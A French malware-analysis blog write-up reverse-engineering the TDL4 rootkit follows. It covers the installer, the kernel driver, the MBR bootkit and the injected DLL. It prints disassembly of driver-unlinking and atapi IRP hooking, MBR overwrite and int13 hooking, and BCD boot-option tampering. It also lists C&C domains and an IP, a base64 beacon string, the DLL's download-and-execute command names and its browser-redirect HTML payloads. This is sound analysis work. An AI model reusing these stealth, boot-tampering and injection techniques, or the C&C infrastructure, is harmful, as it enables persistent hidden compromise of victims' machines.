Maitenant que son driver est load, on le voit faire appel à l'api ZwOpenSymbolicLinkObject(), avec comme paramètre OBJECT_ATTRIBUTES dont le champ ObjectName est "fsdev".
De là on peut se douter que le driver a cré ce fichier, nous le verrons quand nous étudierons le driver.
Suite à cette appel, il récupèrera un handle dessus et va récupérer des informations sur ce handle avec ZwQuerySymbolicLinkObject(), le paramètre de sortie LinkTarget sera de la forme : "\device\00000957\28a68b82".
Ensuite il créera a la chaine les chaines suivantes à coup de snprintf() :
- "\\?\\globalroot%wZ\\cmd.dll" ---> "\\?\globalroot\device\00000957\28a68b82\cmd.dll"
- "\\?\\globalroot%wZ\\bckfg.tmp" ---> "\\?\globalroot\device\00000957\28a68b82\bckfg.tmp"
- "\\?\\globalroot%wZ\\cfg.ini" ---> "\\?\globalroot\device\00000957\28a68b82\cfg.ini"
- FileName : Chacun des noms cités au dessus
- Access : 0x1F01FF ( STANDARD_RIGHTS_ALL |
) - ShareMode : FILE_SHARE_READ
- pSecurity : NULL
- Mode : CREATE_ALWAYS
- Attributes : WRITE_THROUGH
- hTemplateFile : NULL
Mais ici ca ne sera pas encore chiffré avec RC4 avec comme clef le numéro de secteur, tout ceci se passera dans le driver.
Il va remplir ensuite son fichier cfg.ini avec l'api WritePrivateProfileStringA().
Il le remplit exactement comme décrit dans le post précédent ([section_name] key = value ) :
- [inject] *=cmd.dll
- [main] aid=30212
- [main] sid=3
- [cmd] srv=https://rukkeianno.com/;https://kangojim1.com/;https://lkaturi71.com/;https://neywrika.in/;https://86b6b6b6.com/
- [cmd] wsrv=http://skolewcho.com/;http://jikdooyt0.com/;http://swltcho81.com/;http://switcho81.com/;http://rammyjuke.com/
- [cmd] psrv=http://cri71ki813ck.com/
- "\\?\\globalroot%wZ\\ldr16" ---> "\\?\globalroot\device\00000957\28a68b82\ldr16"
- "\\?\\globalroot%wZ\\ldr32" ---> "\\?\globalroot\device\00000957\28a68b82\ldr32"
- "\\?\\globalroot%wZ\\ldr64" ---> "\\?\globalroot\device\00000957\28a68b82\ldr64"
- "\\?\\globalroot%wZ\\drv64" ---> "\\?\globalroot\device\00000957\28a68b82\drv64"
- "\\?\\globalroot%wZ\\cmd64.dll" ---> "\\?\globalroot\device\00000957\28a68b82\cmd64.dll"
- "\\?\\globalroot%wZ\\drv32" ---> "\\?\globalroot\device\00000957\28a68b82\drv32"
Mais ici y'a quand même un truc qui me choque, pourquoi il doit écrire tous les composants alors que dans le cas dans lequel on se trouve, nous sommes obligatoirement sur un système 32bits.
Surement pour que son File System ne soit pas mis en l'air ( je trouve ca presque dommage car depuis le début je suis épaté par la puissance du truc ). Bon on arrive à la fin de la sub, mais y'a une subtilité que j'ai esquivé au moindre fail d'une api, il va contacter un C&C :
http://95.143.193.138/xxxx_2/
A l'aide des apis suivantes :
Où il va en fait envoyer comme information le GetSystemTimeAsFileTime, et les diffèrentes informations récupérées par GetVersionEx().8027833fd6|||2|0|5.1 2600 SP3.0|prn3
Il base64 la truc et le send :
ODAyNzgzM2ZkNnx8fDJ8MHw1LjEgMjYwMCBTUDMuMHxwcm4z
TDL4 Driver32
Introduction
Nous avoncons plutôt bien dans l'analyse de tout ça ( à mon goût ), nous descendons de plus en plus dans les entrailles du problème, et nous arrivons dans un terrain que je n'ai auparavant jamais exploré : le reverse d'un driver.Ce driver est load par la dll que nous venons d'analyser, c'est donc maitenant à son tour de passer au fourneau.
drv32.sys
Ici je me suis rendu compte qu'écrire un unpacker était loin d'être une énorme bêtise, mais plutôt un avantage.Car la première chose que va faire le driver est d'utiliser ExAllocatePool(), avec comme POOL_TYPE : NonPagedPool, et une size de 0x16800.
Et les sub qui suivent ressemblent exactement au packer que nous avons étudié dans le premier billet ( je vous invite à le regarder si ce n'est pas déjà fait ), pour ma part je réutilise mon unpacker afin de pouvoir travailler tranquilement avec IDA sur la version unpack du driver.
Le truc fun c'est un DbgPrint() qui traine juste avant d'aller sur l'OEP :
.text:10001325 mov eax, ds:DbgPrint
.text:1000132B call eax ; DbgPrint
.text:1000132D mov ebx, [ebx+28h]
.text:10001330 pop ecx
.text:10001331 pop ecx
.text:10001332 push [ebp+RegistryPath]
.text:10001335 add ebx, esi
.text:10001337 push edi
.text:10001338 call ebx ; Call EntryPoint :]
Le DbgPrint est ici pour printer les 2 premiers octets du pe extract aka 'MZ' ( debug mode : ON ? ).Bien commencon l'étude du driver unpack.
Driver unpack
La première chose qu'il va faire et se supprimer de la liste des modules chargés..text:100032C6 mov ecx, [eax] ; nt!PsLoadedModule
.text:100032C8 mov eax, [eax+4]
.text:100032CB push [esp+4+RegistryPath]
.text:100032CF mov [eax], ecx
.text:100032D1 push esi
.text:100032D2 mov [ecx+4], eax
Sachant que le type de PsLoadedModule est une liste doublement chainê ( avec des ptr de type _LDR_DATA_TABLE_ENTRY ) :
kd> dt nt!_LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY
Continous sur la sub suivante et voyons ce qu'elle fait :
- Ouvre un handle sur "\\??\\c:" à l'aide de ZwOpenFile().
- À partir du handle et de la fonction ZwDeviceIoControlFile() en passant comme IoControlCode 0x560000 ( IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS ), il va récupérer le numéro du device.
- Il prépare ensuite le nom du disque physique à l'aide de la fonction snwprintf et de la chaîne de format "\\??\\physicaldrive%d".
- Va ouvrir un handle dessus avec ZwOpenFile().
- Récupère un pointeur sur l'object en question à l'aide de ObReferenceObjectByHandle().
kd> dt nt!_FILE_OBJECT +0x000 Type : Int2B +0x002 Size : Int2B +0x004 DeviceObject : Ptr32 _DEVICE_OBJECT +0x008 Vpb : Ptr32 _VPB +0x00c FsContext : Ptr32 Void +0x010 FsContext2 : Ptr32 Void +0x014 SectionObjectPointer : Ptr32 _SECTION_OBJECT_POINTERS +0x018 PrivateCacheMap : Ptr32 Void +0x01c FinalStatus : Int4B +0x020 RelatedFileObject : Ptr32 _FILE_OBJECT +0x024 LockOperation : UChar +0x025 DeletePending : UChar +0x026 ReadAccess : UChar +0x027 WriteAccess : UChar +0x028 DeleteAccess : UChar +0x029 SharedRead : UChar +0x02a SharedWrite : UChar +0x02b SharedDelete : UChar +0x02c Flags : Uint4B +0x030 FileName : _UNICODE_STRING +0x038 CurrentByteOffset : _LARGE_INTEGER +0x040 Waiters : Uint4B +0x044 Busy : Uint4B +0x048 LastLock : Ptr32 Void +0x04c Lock : _KEVENT +0x05c Event : _KEVENT +0x06c CompletionContext : Ptr32 _IO_COMPLETION_CONTEXTOn le voit récupérer le champ DeviceObject, puis le champ DeviceObjectExtension de cette même structure, puis le champ AttachedTo, et le sauvegarde sur un argument de sa pile ( si ce n'est pas clair regardez les structure _DRIVER_OBJECT et _DEVICE_OBJECT ).
.text:10002204 mov ecx, [ebp+Object] ; Object
.text:10002207 mov eax, [ecx+4] ; ->DeviceObject
.text:1000220A mov eax, [eax+0B0h] ; ->DeviceObjectExtension
.text:10002210 mov eax, [eax+18h] ; ->AttachedTo
.text:10002213 mov edx, [ebp+AttachedTo]
Ce qui est intéressant de remarquer c'est que le DEVICE_OBJECT qu'il récupère est celui du driver "\Driver\atapi".ATAPI : ATA with Packet Interface, est une extension de l'ATA qui étend ce standard de communication à des périphériques différents des disques durs, comme les CD-ROM, les lecteurs de disquette …
En pratique, il permet de faire passer des commandes SCSI ( ça nous parle :] )sur la couche physique de l'ATA.
Il supprimera ensuite la référence avec ObfDereferenceObject(), et fermera les handles avec ZwClose().
Il appelera ensuite ObQueryNameString(), sur le driver_oject atapi, afin de récupérer son nom (par exemple : "\Device\Ide\IdeDeviceP0T0L0-4").
Il récupèrera à l'aide de la requête SCSI Read_Capacity_Command ( 0x25 ), le nombre de secteur du disque, après avoir bien sûr ouvert un handle dessus.
Il va ensuite préparer 2 buffers de 512 ( 0x200 ) octets, dont un ( buff_1 ) sera rempli de 0x2A, et l'autre ( buff_2 ) de 0, il va ensuite écrire le buff_1 sur le dernier secteur, puis read en récupérant le résultat dans buff_2 et va les comparer, la seule déduction que j'ai qu'il fasse celà est qu'il a l'air de tester si l'écriture se passe correctement, ou si le nombre maximum de secteurs est bien correct.
Ensuite nous pouvons le voir récupérer le mbr infecté dans sa section .data, qu'il va decrypt avec l'algorithme RC4 et comme clef 0, il viendra écraser les 0x15C premiers octets du mbr original, par le sien, et ira l'écrire sur le premier secteur ( 0 ) du disque.
On le voit ensuite sauvegarder les 10 premier octets de la fonction atapi!IdePortDispatch :
ba5fa852 8bff mov edi,edi
ba5fa854 55 push ebp
ba5fa855 8bec mov ebp,esp
ba5fa857 51 push ecx
ba5fa858 51 push ecx
ba5fa859 8b450c mov eax,dword ptr [ebp+0Ch]
Ça pue le hook à plein nez....Mais d'abord on le voit apeler RtlRandom() avec comme Seed un dword qu'il va chercher en ds:[FFDF0014h].
Il apelera ensuite une api non documented, IoCreateDriver() afin de créer un driver qui aura pour but d'exec une sub qui :
- Recopiera les champs de l'object "\driver\atapi", Size, DriverStart, DriverSize, DriverSection, DriverExtension, DriverName, HardwareDatabase, DriverInit, DriverStartIo, DriverUnload
- Et remplira les 28 entrées de la table IRP avec l'adresse 0x89898555( On peut déjà se dire que ce sera une sub qui fera office de dispatcher ).
Object= dword ptr 4
push esi
mov esi, [esp+4+Object]
push edi
mov ecx, esi ; Object
call ds:ObfReferenceObject
push esi
call ds:ObMakeTemporaryObject
xor eax, eax
mov [esi], ax
mov eax, DEVICE_DriverObject
mov eax, [eax+30h] ; ->IdePortStartIo
mov [esi+30h], eax
mov eax, DEVICE_DriverObject
mov eax, [eax+0Ch] ; ->DriverStart
mov [esi+0Ch], eax
mov eax, DEVICE_DriverObject
mov eax, [eax+10h] ; ->DriverSize
mov [esi+10h], eax
mov eax, DEVICE_DriverObject
mov eax, [eax+14h] ; ->DriverSection
mov [esi+14h], eax
mov eax, DEVICE_DriverObject
mov eax, [eax+2Ch] ; ->DriverInit
mov [esi+2Ch], eax
mov eax, DEVICE_DriverObject
mov eax, [eax+34h] ; ->DriverUnload
mov [esi+34h], eax
mov eax, DEVICE_DriverObject
mov ax, [eax+1Ch] ; ->DriverName->Length
mov [esi+1Ch], ax
mov eax, DEVICE_DriverObject
mov ax, [eax+1Eh] ; ->DriverName->MaximumLength
mov [esi+1Eh], ax
mov eax, DEVICE_DriverObject
mov eax, [eax+20h] ; ->DriverName->Buffer
mov [esi+20h], eax
mov eax, DEVICE_DriverObject
mov eax, [eax+18h] ; ->DriverExtension
mov [esi+18h], eax
mov eax, DEVICE_DriverObject
mov eax, [eax+24h] ; ->HardwareDatabase
mov [esi+24h], eax
push 1Ch
pop ecx
lea edi, [esi+38h]
mov eax, offset hook_major_func
mov DriverObject, esi
rep stosd
pop edi
xor eax, eax
pop esi
retn 8
Regardez la structure DRIVER_OBJECT avec votre ami WinDbg, si vous ne comprennez pas le code.Reprenons le fil d'éxécution de notre driver, tout ceci est suivi d'un appel à ObReferenceObjectByName(), avec comme string unicode "\driver\pnpmanager", afin de récupérer un ptr sur l'object.
Il fera de nouveau un appel à RtlRandom(), afin de générer un nom de device aléatoire, qu'il créera avec IoCreateDevice() ( device name : "\device\<first_random_number>" ), avec comme argument DriverObject l'object qu'il vient de récupérer, et comme type FILE_DEVICE_CONTROLLER ( 0x4 ).
Bon la par contre j'ai pas compris porquoi il fait ça mais il va refaire la meme operation mais en donnant au device un nom de la forme "\device\<second_random_number>\<first_random_number>", mais comme type FILE_DEVICE_UNKNOWN, ansi que comme driver_object celui de atapi avec la table d'irp hooked.
Il va ensuite faire appel à une sub qui va prendre en paramètre le driver_oject de pnpmanager, et le premier device_object qu'il s'est créé :
- Elle va tester si le champ device_object du driver est égale au device passé en paramètre.
- Remplacera ensuite le champ Device_object par le next device_object.
- Résultat le champ device_object est le champ NextDevice, sont égaux.
Il mettre à jour le pointeur ( VPB ) à l'offset 0x24.
Il va appeler l'api KeInitializeEvent() avec comme argument un ptr sur un objet KEVENT, de type SynchronizationEvent, et un ètat FALSE.
typedef enum _EVENT_TYPE
{
NotificationEvent,
SynchronizationEvent
} EVENT_TYPE;
Il viendra ensuite écrire par le biais du device qu'il a créé "\device\<second_random_number>\<first_random_number>", le fichier cfg.ini "\device\000001a9\62389c1d\cfg.ini".Ce qui est intéressant de remarquer c'est que par rapport à la DLL, on peut voir des choses intéressantes passer, comme la version actuelle de TDL4 :
push offset a0_03 ; "0.03"
push offset aVersion ; "version"
push offset aMain ; "main"
Mais qui dit appel à des CreateFile(), WriteFile(), dit appel aux fonctions qui sont dans la table IRP du device ( qui sont hookées, vous me suivez ? :] ).Je ne vais pas rentrer dans les détails de la sub qui fait office du hook des irp, d'une part de sa compléxité ( quoi que :-] ), mais surtout car ca ne sert juste à rien, ce qu'ilfaut retenir c'est que ce dispatcher est juste là pour mettre à jour son filesystem ( mettre à jour le root_file, etc ... ).
La suite devient fun, on peut voir un appel à PsSetLoadImageNotifyRoutine(), ce qu'il lui permet de mettre une fonction callback pour qu'à chaque fois qu'une image est chargé cette fonction soit apellé, nous l'apelerons NotifyRoutine et nous l'étudierons plus loin.
Après c'est au tour de l'api ExQueueWorkItem(), avec comme WorkerRoutine, une sub que nous apelerons WorkerSub, que nous étudierons plus loin aussi.
kd> dt nt!_WORK_QUEUE_ITEM +0x000 List : _LIST_ENTRY +0x008 WorkerRoutine : Ptr32 void +0x00c Parameter : Ptr32 VoidNous sommes casi à la fin de l'analyse du driver, la dernière chose qu'il met en place est un lien symbolique entre "\fsdev" et le device "\device\<second_random_number>\<first_random_number>", à l'aide de l'api ZwCreateSymbolicLinkObject(), ce lien symbolique sert à la DLL injecté dans le process "svpool.exe", d'envoyer direct des requêtes sur le driver atapi dont la table irp a été hooké.
WorkerSub
Le premier travail de cette sub est de changer les options de boot, en tapant dans la clef de registre :\registry\machine\system\currentcontrolset\control\systemstartoptionsEn lui restorant la valeur : "/MININT", car la partie b00tkit l'avait changé, il fait ça de sorte à ce que rien ne paraisse louche.
Une protection de plus est le fait, qu'il va sans cesse regarder si son mbr est toujours bien présent, si non il le récrit, oui car la WorkerSub, est un code qui va tourner indéfiniment.
La suite est un appel à ZwQuerySystemInformation(), avec comme paramètre SystemInformationClass = SystemProcessInformation ( 0x5 ), ce qui lui permettra de lister tous les processus.
Il va se balader dans la liste des process et chercher "svchost.exe" en usant RtlEqualUnicodeString().
Une fois le process trouvé, il récupère son ID, et va récupérer un ptr sur la structure EPROCESS avec PsLookupProcessByProcessId().
Il attachera son thread avecKeStackAttachProcess().
kd> dt nt!_KAPC_STATE +0x000 ApcListHead : [2] _LIST_ENTRY +0x010 Process : Ptr32 _KPROCESS +0x014 KernelApcInProgress : UChar +0x015 KernelApcPending : UChar +0x016 UserApcPending : UCharMaitenant c'est au tour de l'api ZwQueryInformationProcess(), avec comme argument ProcessInformationClass = ProcessBasicInformation ( 0x0 ), afin de récupérer un pointeur sur le PEB ( Process Environment Block ).
Après c'est le train train habituel, on va se balader sur la liste des modules chargés et chercher "kernel32.dll" :
.text:10002999 mov eax, [ebp+var_7C] ; _PEB
.text:1000299C mov eax, [eax+0Ch] ; Ldr
.text:1000299F cmp eax, ebx
.text:100029A1 jz loc_10002A69
.text:100029A7 lea edi, [eax+0Ch] ; InLoadOrderModuleList
.text:100029AA mov esi, edi
.text:100029AC cmp edi, ebx
.text:100029AE jz loc_10002A69
.text:100029B4
.text:100029B4 loc_100029B4: ; CODE XREF: change_boot_and_inject+28Bj
.text:100029B4 ; change_boot_and_inject+29Fj
.text:100029B4 mov esi, [esi]
.text:100029B6 cmp edi, esi
.text:100029B8 jz loc_10002A69
.text:100029BE cmp esi, ebx
.text:100029C0 jz loc_10002A69
.text:100029C6
.text:100029C6 test_is_dll_charac:
.text:100029C6 test byte ptr [esi+34h], 4
.text:100029CA jz short loc_100029B4
.text:100029CC
.text:100029CC Look_for_kernel32: ; CaseInSensitive
.text:100029CC push 1
.text:100029CE lea eax, [ebp+name_kernel32dll]
.text:100029D1 push eax ; String2
.text:100029D2 lea eax, [esi+2Ch]
.text:100029D5 push eax ; String1
.text:100029D6 call ds:RtlEqualUnicodeString
.text:100029DC test al, al
.text:100029DE jz short loc_100029B4
Une fois "kernel32.dll" trouvé, il va chercher les offset des apis suivantes :- LoadLibraryExA
- GetProcAddress
- VirtualFree
Regardons donc ce que fait le code injecté :
- KeGetCurrentThread(), récupérer le thread courant.
- IoGetCurrentProcess(), récupérer le process courant.
- PsGetCurrentProcessId(), récupérer l'identifiant du process.
- Et va insérer une méthode à éxécuter dans la file d'attente du thread avec ExQueueWorkItem()
Nous étudierons bien sûr cette DLL plus tard.
NotifyRoutine
Bien nous sommes dans la dernière ligne droite de l'analyse du driver.La méthode NotifyRoutine, est apellé à chaque fois qu'une image est chargé, si le nom de l'image est "kernel32.dll", alors il va récupérer les adresse des 3 apis cités plus haut, et va venir comme expliqué précédemment.
Nous arrivons donc à la fin de l'analyse du rootkit, en espérant n'avoir pas été trop flou, n'étant pas un as en reverse, et connaissant très mal encore Windows Internal, ce n'était pas de la tarte tout ça.
Mais cela m'a permis d'apprendre un maximum de choses est c'était le but.
b00tkit part
Introduction
Maitenant qu'il a tout mis en place, et que le NtRaiseHardError, nous a fait BSOD.On reboot, mais le bootloader a été modifié, nous allons donc étudier son comportement.
May the ror be with you
Après avoir récupérer le mbr ( si vous ne savez pas comment faire, regardez comme j'ai fait pour l'article sur le mbrlocker que j'avais reverse ), et qu'on l'ouvre avec IDA, le début du disas est correct mais devient vite n'importe quoi ensuite.loc_0: ; CODE XREF: seg000:0071J
seg000:0000 xor ax, ax
seg000:0002 mov ss, ax
seg000:0004 mov sp, 7C00h
seg000:0007 mov es, ax
seg000:0009 mov ds, ax ; CODE XREF: seg000:0060j
seg000:000B mov si, 7C00h
seg000:000E mov di, 600h
seg000:0011 mov cx, 200h
seg000:0014 cld
seg000:0015 rep movsb
seg000:0017 push ax
seg000:0018 push 61Ch
seg000:001B retf
seg000:001C ; ---------------------------------------------------------------------------
seg000:001C sti
seg000:001D pusha
seg000:001E mov cx, 147h
seg000:0021 mov bp, 62Ah
seg000:0024
seg000:0024 loc_24: ; CODE XREF: seg000:0028j
seg000:0024 ror byte ptr [bp+0], cl
seg000:0027 inc bp
seg000:0028 loop loc_24
Le début du code est simple, on le voit se recopier à l'offset 0x6000, puis sautera à l'offset 0x61C de ce qu'il vient de récopier, et on le voit effectuer un ror sur 0x147 octets, cqfd le code est en train de se décrypter.J'ai écrit ici pour changer de mes habitudes un code en python afin de le décrypter automatiquement :
# Simply rotate right function def rotate_right(number, n): for i in range(n): right_bit = number & 0b00000001 number = number >> 1 if (right_bit == 1): number = number | 0b10000000 return number # Mbr file to decrypt mbr_file = open("mbr_tdl4", "rb") # Output mbr file decrypted mbr_decrypt = open("mbr_tdl4_decrypt", "wb") # Size to decrypt cx = 0x147 # 0x2A Start offset bp = 0x62A - 0x600 # Read and write first part of mbr wich # is not crypted buf = mbr_file.read(bp) mbr_decrypt.write(buf) # Decrypt part of the mbr with ror function while(cx): buf = mbr_file.read(1) buf = rotate_right(ord(buf), cx & 0xff) cx -= 1 mbr_decrypt.write(chr(buf)) # Write the end of mbr ( Sizeof(MBR) - (Sizeof(MBR) - Size to decrypt)) mbr_decrypt.write(mbr_file.read(512 - (512 - 0x147))) # Close is cool mbr_decrypt.close() mbr_file.close()Nous sommes maitenant en mesure de travailler avec un disas correct.
La première chose qu'il va faire, est d'utiliser l'interruption BIOS 0x13, em mettant dans AH 0x48 afin d'apeller la fonction Read Drive Parameters, il s'en sert afin de récupérer le nombre de secteurs du disque.
Il va ensuite appeler une sub qui aura pour objectif de scanner en partant de la fin du disque chaque secteur, en les décryptant en utilisant l'agorithme RC4 avec comme clef le numéro du secteur actuel, et regardera si la signature du block décrypté est 'CD' ( qui est la signature de la racine de son FileSystem ).
Une fois qu'il a son fichier de configuration, il est en mesure de savoir où ce situe, chacun des fichiers dont il a besoin, et la prochaine étape et la recopie du fichier ldr16 ( après l'avoir decrypt avec rc4 et comme clef le numéro du secteur ), à l'offset 0, puis sautera dessus.
seg000:0070 popa
seg000:0071 jmp far ptr loc_0
Ce fichier fait office de stage2 dans la phase de boot.Stage 1 clear ! Move to Stage 2
La chose importante à remarquer est l'installation d'un handler sur l'interruption 0x13 du bios ( afin d'avoir la main à chaque fois que cette interruption sera apelé durant la chaîne de boot ) :seg000:0034 mov word ptr es:[di+4Ch], offset int13_handler
seg000:003A mov word ptr es:[di+4Eh], cs
seg000:003E mov di, 7C00h
seg000:0041 mov si, 450h
seg000:0044 mov cx, 4
seg000:0047 call get_mbr
seg000:004A popa
seg000:004B
seg000:004B loc_4B: ; DATA XREF: seg000:001Fr
seg000:004B ; seg000:0023r
seg000:004B jmp far ptr 0:7C00h
Après l'installation de son handler de int13, il recopie le mbr original et va lui donner la main.Son handler de int13 va tester si la fonction demandé ( registre AH ) est 0x2 ( Read Sectors From Drive ) ou 0x42 ( Read Sectors From Drive ).
Une des parties intéressantes est la suivante :
check_is_kdcom: ; CODE XREF: seg000:013Dj
seg000:0149 ; seg000:0145j
seg000:0149 cmp word ptr es:[bx], 'ZM'
seg000:014E jnz loc_24E
seg000:0152 mov di, es:[bx+3Ch]
seg000:0156 cmp word ptr es:[bx+di], 'EP'
seg000:015B jnz loc_24E
seg000:015F cmp word ptr es:[bx+di+18h], 10Bh ; IMAGE_NT_HEADER->Optional_Header.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGI
seg000:0165 jnz short is_64bits_dll ; Export size
seg000:0167 cmp dword ptr es:[bx+di+7Ch], 0FAh ; '·' ; Export size
seg000:0170 jnz loc_24E
seg000:0174 mov si, 454h
seg000:0177 mov cx, 6
seg000:017A jmp short loc_190
seg000:017C ; ---------------------------------------------------------------------------
seg000:017C
seg000:017C is_64bits_dll: ; CODE XREF: seg000:0165j
seg000:017C cmp dword ptr es:[bx+di+8Ch], 0FAh ; '·' ; Export size
seg000:0186 jnz loc_24E
On le voit clairement checker si le fichier lu depuis le disque est un fichier PE, et si c'est un binaire 32 ou 64 bits.Il testera ensuite que la taille des exports est 0xFA, qui est une taille propre à kdcom.dll ( dll permettant le débugage à traverser l'interface série ).
Ce qui lui permettra de remplacer l'original par la sienne qui est etudié plus loin dans l'article ( "ldr32" ) et son rôle dans la chaîne de boot.
Pour mieux comprendre la suite des événements voici un schéma de la chaîne de boot ( pour des systèmes supérieurs à Windows XP ) :
- Le mbr va charger Nt Boot Sector ( qui a la possibilité de pouvoir lire du FAT32 ou du NTFS ).
- Il chargera donc bootmgr.exe ( trouvable à la racine de votre disque ).
- Bootmgr est en fait un binaire PE 16 bits ( n'ayant aucune dépédance ), et qui va décompresser / décrypter ( en le mappant à l'adresse 0x400000 ) un binaire 32bits au sein de lui même et lui passera la main.
- Après celà, il va regarder si le système était en hibernation ou non, si oui il lance winresume.exe.
- Si non, il énumèrera la liste des entrés de boot ( vous pouvez le voir à l'aide de msconfig.exe ou éditer le fichier boot.ini ), et montera la base BCD (Boot Configuration Data).
- Winload.exe sera ensuite chargé en fonction des options listées précédemment.
- Puis la main sera passé à ntoskrnl.exe qui chargera aussi ses dépendances ( en particulier kdcom.dll ).
TDL4 dans son bootkit va abuser des options du BCD, afin de désactiver les checks d'intégrité du kernel fait à l'intérieur de winload.exe.
loc_256: ; CODE XREF: seg000:02AFj
seg000:0256 cmp dword ptr es:[bx], '0061'
seg000:025E jnz short loc_27C
seg000:0260 cmp dword ptr es:[bx+4], '0200' ; BcdLibraryBoolean_EmsEnabled ( bootems ) 0x16000020
seg000:0269 jnz short loc_27C
seg000:026B mov dword ptr es:[bx], '0062'
seg000:0273 mov dword ptr es:[bx+4], '2200' ; BcdOSLoaderBoolean_WinPEMode (winpe) 0x26000022
J'ai fait des stats sur du Windows Seven ( SP0, SP1, Entreprise, Profesional ), et la clef BcdLibraryBoolean_EmsEnabled est toujours présente, ce qu'il fait qu'il pourra tojours l'échanger avec le WinPE_mode.Cette option dit à winload.exe que le système est en phase de pré-installation, ce qui fait sauter le check d'intégrité du kernel.
Mais il ne s'arrête pas là, car il va même changer une option passé ( comme une option sur la ligne de commande ) à ntoskrnl :
loc_29A: ; CODE XREF: seg000:0284j
seg000:029A ; seg000:028Fj
seg000:029A cmp dword ptr es:[bx], 'NIM/'
seg000:02A2 jnz short loc_2AC
seg000:02A4 mov dword ptr es:[bx], 'M/NI'
De ce fait Winload.exe par les options BCD croit qu'il est en mode de pré-installation, alors que ntoskrnl.exe lui se charge normalement ( du fait d'avoir changé l'option "/MININIT" en "IN/MINT" ).La dll a été remplacé, ntoskrnl se charge mais pourtant tout va mal :].
Pour la suite des évènements, il faut allé voir l'article "ldr32".
TDL4 injected DLL
Ici la dll (32 bits) injecté est packed avec UPX, on se prend pas la tête et on unpack avec un petit "upx -d".Les premières api qu'elle va apeller sont GetModuleFileNameA(), PathFindFileNameA(), et elle va regarder si elle se trouve dans "svchosts.exe", et que "netsvcs" est présent sur la ligne de commande.
Si c'est le cas, alors on crée un mutex avec comme nom "Global\9e6af8f3-75f3-4b67-877a-c80125d7bc0".
Sinon il testera si il fait parti des process suivants avec l'api PathMatchSpecA() :
- *explo*
- *firefox*
- *chrome*
- *opera*
- *safari*
- *netsc*
- *avant* ( avantbrowser )
- *browser*
- *mozill*
- *wuauclt* ( Windows Update Client )
Le graphe du dispatcher qui est bien flagrant :
Les commandes apparament disponibles sont les suivantes :
- DownloadCrypted
- DownloadCrypted2
- DownloadAndExecute
- DownloadCryptedAndExecute
- DownloadCryptedAndExecute2
- Download
- ConfigWrite
- SetName
<html>
<head>
<script type=\"text/javascript\">
function f()
{
var url=\"%s\";
try
{
var x=document.getElementById(\"_a\");
x.href=url;x.click()
}
catch(e)
{
try
{
var x=document.getElementById(\"_f\");
x.action=url;
x.submit()
}
catch(e){}
}
}
</script>
</head>
<body onload=\"f()\">
<a id=\"_a\"></a>
<form id=\"_f\" method=\"get\"></form>
</body>
</html>
Ansi qu'injecter du code :<html>
<body onload="javascript:history.back()">
</body>
</html>
Une liste exaustive d'une panoplie de moteur de recherche, pour récupérer des stats sur les mots-clefs tapés dans ces moteurs de recherche ( je suppose ) :.rdata:100087B8 aGoogleYahooBin db 'google;yahoo;bing.;live.com;msn.com;altavista.com;ask.com;exalead'
.rdata:100087B8 db '.com;excite.com;dogpile.com;metacrawler.com;webcrawler.com;allthe'
.rdata:100087B8 db 'web.com;.lycos.;gigablast.com;cuil.com;.aol.;entireweb.com;.searc'
.rdata:100087B8 db 'h.com;mamma.com;mytalkingbuddy.com;about.com;myspace.com;answers.'
.rdata:100087B8 db 'com;conduit.com;alexa.com;alltheinternet.com;blinkx.com;macromedi'
.rdata:100087B8 db 'a.com;adobe.com;amazon.com;facebook.com;youtube.com;wikipedia.org'
.rdata:100087B8 db ';wikimedia.org;twitter.com;aolcdn.com;othersonline.com;everesttec'
.rdata:100087B8 db 'h.net;adrevolver.com;tribalfusion.com;adbureau.net;abmr.net;gstat'
.rdata:100087B8 db 'ic.com;virtualearth.net;atdmt.com;ivwbox.;powerset.net;yimg.com;2'
.rdata:100087B8 db 'mdn.net;doubleclick.net;iwon.com;scorecardresearch.com;66.235.120'
.rdata:100087B8 db '.66;66.235.120.67;ytimg.com;infospace.com;edgesuite.net;superpage'
.rdata:100087B8 db 's.com;lygo.com;compete.com;firmserve.com;worthathousandwords.com;'
.rdata:100087B8 db 'yieldmanager.com;wazizu.com;meedea.com;atwola.com;doubleverify.co'
.rdata:100087B8 db 'm;tacoda.net;truveo.com;openx.org;adcertising.com;twimg.com;picse'
.rdata:100087B8 db 'arch.com;oneriot.com;.com.com;flickr.com;searchvideo.com;.tqn.com'
.rdata:100087B8 db ';myspacecdn.com;fimservecdn.com;alexametrics.com',0
La possibilité aussi de changer les settings d'internet explorer :.rdata:10008358 pszSubKey db 'software\microsoft\internet explorer\main\featurecontrol\FEATURE_'
.rdata:10008358 ; DATA XREF: sub_10001CB4+2Eo
.rdata:10008358 db 'BROWSER_EMULATION',0
.rdata:100083AB align 4
.rdata:100083AC ; char pszValue[]
.rdata:100083AC pszValue db 'maxhttpredirects',0 ; DATA XREF: sub_10001CB4+41o
.rdata:100083BD align 10h
.rdata:100083C0 ; char aSoftwareMicr_0[]
.rdata:100083C0 aSoftwareMicr_0 db 'software\microsoft\windows\currentversion\internet settings',0
Et pour finir une panoplie de C&C :.rdata:10008E50 aHttps68b6b6b6_ db 'https://68b6b6b6.com/;https://61.61.20.132/;https://34jh7alm94.as'
.rdata:10008E50 ; DATA XREF: sub_10003B24+D2o
.rdata:10008E50 db 'ia/;https://61.61.20.135/;https://nyewrika.in/;https://rukkieanno'
.rdata:10008E50 db '.in/',0
.rdata:10008ED7 align 4
.rdata:10008ED8 ; char aWsrv[]
.rdata:10008ED8 aWsrv db 'wsrv',0 ; DATA XREF: sub_10003C2D+79o
.rdata:10008EDD align 10h
.rdata:10008EE0 aHttpRudolfdisn db 'http://rudolfdisney.com/;http://crozybanner.com/;http://imagemons'
.rdata:10008EE0 ; DATA XREF: sub_10003C2D+D2o
.rdata:10008EE0 db 'tar.com/;http://funimgpixson.com/;http://bunnylandisney.com/',0
.rdata:10008F5E align 10h
.rdata:10008F60 ; char aPsrv[]
.rdata:10008F60 aPsrv db 'psrv',0 ; DATA XREF: sub_10003D35+79o
.rdata:10008F65 align 4
.rdata:10008F68 aHttpCri71ki813 db 'http://cri71ki813ck.com/',0
L'analyse de ce module n'ira pas plus loin, c'est pas vraiment ce qui m'intéresse et de plus étant donné que les C&C sont down, pas facile de comprendre comment se passe les communications.ldr32
Introduction
Ldr32 est en fait la dll qui va remplacer celle du sytème à savoir kdcom.dll qui est une dépendance de ntoskrnl.exe, et qui permet de debugger à travers l'interface série.Diff
